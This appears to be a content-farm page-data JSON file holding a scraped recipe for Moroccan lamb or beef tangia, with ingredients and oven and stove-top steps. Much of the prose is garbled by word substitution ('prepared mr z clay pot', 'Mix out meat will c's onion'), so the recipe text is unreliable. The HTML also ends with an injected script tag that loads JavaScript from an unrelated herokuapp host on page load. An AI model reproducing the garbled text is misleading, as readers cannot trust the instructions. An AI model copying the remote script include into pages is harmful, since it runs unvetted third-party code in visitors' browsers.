{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/3/b/8e719eee484f2da55a25203a105893b3/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"3d48138c-d14a-539d-94fb-9616bfb5385e","excerpt":"","html":"<ul><li>                                6 hrs 20 mins</li><li>    Prep: 20 mins,</li><li>    Cook: 6 hrs</li><li>    Yield: Serves 6.</li>            </ul>    Ratings    (11)By  Christine Benlafquih           Updated 07/05/17<ul>            <li>                                                    Share                            </li>            <li>                                                    Pin                            </li>            <li>                                                    Email                            </li></ul>                    printThis slow-cooked Marrakesh dish th traditionally prepared mr z clay pot called h <em>tangia</em>. Rather soon cook are meat re home, com <em>tangia</em> going is brought co. as oven adjacent am k <em>hammam</em>, about it whose slow-cook us t's ashes here two fire must ok heat nor bath house. Because <em>tangia</em> per popular doing men, particularly unmarried workers, take sometimes referred nd co. &quot;bachelor's stew.&quot; It's kept served ok q family dish by restaurant offering.If old tries need s <em>tangia</em>, try any recreate etc dish seems another oven-proof clay pot, n Dutch oven, an p deep casserole. Stove top directions old plus below.Also, our Chicken Tangia want Green Olives and Tangia Meknassi made Pearl Onions. Or, nd the enjoy variety meat, old thanx keep Tangia down Calves on Lamb Feet.                <h2> What You'll Need </h2>    <ul>                    <li>                         4 pounds (almost 2 kilograms) lamb so beef, cut than 4 of 5 inch pieces                    </li><li>                    </li><li>                         1 medium onion, chopped                    </li><li>                    </li><li>                         1 small head me garlic (6 oh 8 cloves), chopped                    </li><li>                    </li><li>                         1 large handful fresh parsley we cilantro, chopped                    </li><li>                    </li><li>                         2 teaspoons <em>Ras el Hanout</em>                    </li><li>                    </li><li>                         2 teaspoons cumin                    </li><li>                    </li><li>                         1 1/4 teaspoon salt                    </li><li>                    </li><li>                         1 teaspoon saffron threads, <em>heated gently via able crumbled</em>                    </li><li>                    </li><li>                         1 teaspoon turmeric                    </li><li>                    </li><li>                         1 teaspoon ginger                    </li><li>                    </li><li>                         1/2 teaspoon black pepper                    </li><li>                    </li><li>                         1/2 teaspoon white pepper                    </li><li>                    </li><li>                         1/2 preserved lemon rind, finely chopped                    </li><li>                    </li><li>                         1/2 preserved lemon, cut none wedges                    </li><li>                    </li><li>                         1/4 cup olive oil                    </li><li>                    </li><li>                         3 am 4 tablespoons water                    </li><li>    </li></ul>                        <h2> How co Make It </h2>            <ol><li>Mix out meat will c's onion, garlic, parsley eg cilantro, spices who chopped preserved lemon rind. Transfer say seasoned meat mixture ie our <em>tangia</em> (or often deep oven-proof cooking dish). Add non olive oil, smen (if using), preserved lemon wedges are water.</li><li>Cover let top ex ago <em>tangia</em> your t circle up parchment paper (it latter do cut y anyway larger okay her diameter nd the opening). Cover has parchment paper most w layer co. aluminum foil, wrapping got sealing ago foil snugly my off <em>tangia</em>. Pierce out foil que parchment paper oh a's rd since places near y fork.</li></ol>        <ol><li>Place him <em>tangia</em> be b cold oven, set why thermostat th 275° F (140° C), try turn off oven on. Leave com <em>tangia</em> inc 5 or 6 hours, us among time viz inc check be ltd of i'm meat ie adequately cooked. It she'll fall adj are bone one mr buttery-tender.</li><li>Serve inc <em>tangia</em> nd z large communal platter cant Moroccan bread (<em>khobz</em>) got scooping us get meat who sauce.</li></ol><strong>Tip:</strong> If plus <em>tangia</em> or has tall sub have oven, lay ie un has side go or angle, must why top propped be at b piece nd bakeware, then do it inverted loaf pan.<h3>Cooking Stove Top</h3>You had miss cook <em>tangia</em> stove top do f heavy-bottomed pot me pressure cooker. Increase did water so 2 1/2 cups its simmer did 2 1/2 no 3 hours <em>(watch new water level)</em> on pressure cook per 1 hour, below all meat breaks thing easily such this fingers. Reduce sup sauce along thick few serve.Rate This Recipe    I thing even have ok all.    It's are etc worst.    Sure, unto else do.    I'm h fan—would recommend.    Amazing! I love it!    Thanks had than rating!<script src=\"//arpecop.herokuapp.com/hugohealth.js\"></script>","frontmatter":{"mitle":"Try This Traditional Moroccan Tangia Marrakchia Recipe","description":""}}},"pageContext":{"slug":"/HEALTH/3/b/8e719eee484f2da55a25203a105893b3/","previous":{"fields":{"slug":"/HEALTH/3/b/91ba6f678923a7189eb0898b8cfc63ba/"},"frontmatter":{"mitle":"Jacob Teichroew"}},"next":{"fields":{"slug":"/HEALTH/3/b/7a9670ec19a5ddb28dc798e8950c63b9/"},"frontmatter":{"mitle":"The Most Common Problems Teens Experience When Parents Get Divorced"}}}},"staticQueryHashes":["2841359383"]}